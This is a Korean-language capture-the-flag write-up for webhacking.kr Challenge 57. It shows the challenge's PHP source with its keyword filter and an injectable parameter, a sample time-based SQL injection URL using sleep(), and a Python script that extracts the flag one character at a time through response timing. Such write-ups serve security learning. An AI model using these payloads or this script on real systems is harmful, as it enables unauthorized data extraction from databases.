목표 : Time-based SQL injection (sleep)
메시지를 입력하고 secret을 선택할 수 있는 창이 있다.
선택한 값에 따라 GET 인자가 들어간다.
<?php
include "../../config.php";
include "./flag.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 57</title>
</head>
<body>
<?php
$db = dbconnect();
if($_GET['msg'] && isset($_GET['se'])){
$_GET['msg'] = addslashes($_GET['msg']);
$_GET['se'] = addslashes($_GET['se']);
if(preg_match("/select|and|or|not|&|\||benchmark/i",$_GET['se'])) exit("Access Denied");
mysqli_query($db,"insert into chall57(id,msg,pw,op) values('{$_SESSION['id']}','{$_GET['msg']}','{$flag}',{$_GET['se']})");
echo "Done<br><br>";
if(rand(0,100) == 1) mysqli_query($db,"delete from chall57");
}
?>
<form method=get action=index.php>
<table border=0>
<tr><td>message</td><td><input name=msg size=50 maxlength=50></td></tr>
<tr><td>secret</td><td><input type=radio name=se value=1 checked>yes<br><br><input type=radio name=se value=0>no</td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
</form>
<br><br><a href=./?view_source=1>view-source</a>
</body>
</html>
PHP
복사
select and or not & | benchmark 이 필터링되고 addslashes()가 둘 다 있다.
benchmark를 보여줌으로서 time-based sql injection이 가능하다고 암시하고 있다.
benchmark(돌릴 횟수, 돌릴 함수())를 통해 서버의 성능을 측정하는 방식으로 시간을 지연시킬 수 있다.
정작 sleep() 함수는 막지 않았으므로 이를 활용해보자.
insert into chall57(id,msg,pw,op) values('{$_SESSION['id']}','{$_GET['msg']}','{$flag}',{$_GET['se']})
SQL
복사
https://webhacking.kr/challenge/web-34/index.php?msg=test&se=if(length(pw)%3E0,sleep(3.0),1)
Plain Text
복사
pw가 곧 flag 값이므로 이를 활용해 blind sql injection을 수행한다.
if문이 참일 경우 3초를 sleep하게 된다.
from requests.exceptions import ReadTimeout
import requests
import string
URL = "https://webhacking.kr/challenge/web-34/index.php"
#c = {"cookie":"PHPSESSID=uip49d1jvjvgi80c4vs08cmavq"}
params = {'msg' : '1234'}
'''
def query(payload):
r = requests.get(URL,params=params,cookies=c, timeout=300)
content = r.text
return TRUE_PHRASE in content
'''
def find_pw_len():
flag_len=0
for i in range(6,30):
try:
payload = 'if((length(pw)={}),sleep(3),1)'.format(i)
params['se'] = payload
requests.get(URL,params=params,timeout=2)
except ReadTimeout:
print("FLAG len =",i)
flag_len=i
break
return flag_len
def find_pw():
flag = ''
flag_len = find_pw_len()
for i in range(1,flag_len+1):
for character in string.printable:
try:
payload = 'if((ascii(substr(pw,{},1))={}),sleep(3),1)'.format(i,ord(character))
params['se'] = payload
requests.get(URL,params=params,timeout=2)
except ReadTimeout:
flag = flag + character
print(flag)
break
print()
print('FLAG : ',flag)
find_pw()
Python
복사
타임아웃을 2초로 걸어놓고 실행하면 플래그를 획득할 수 있다.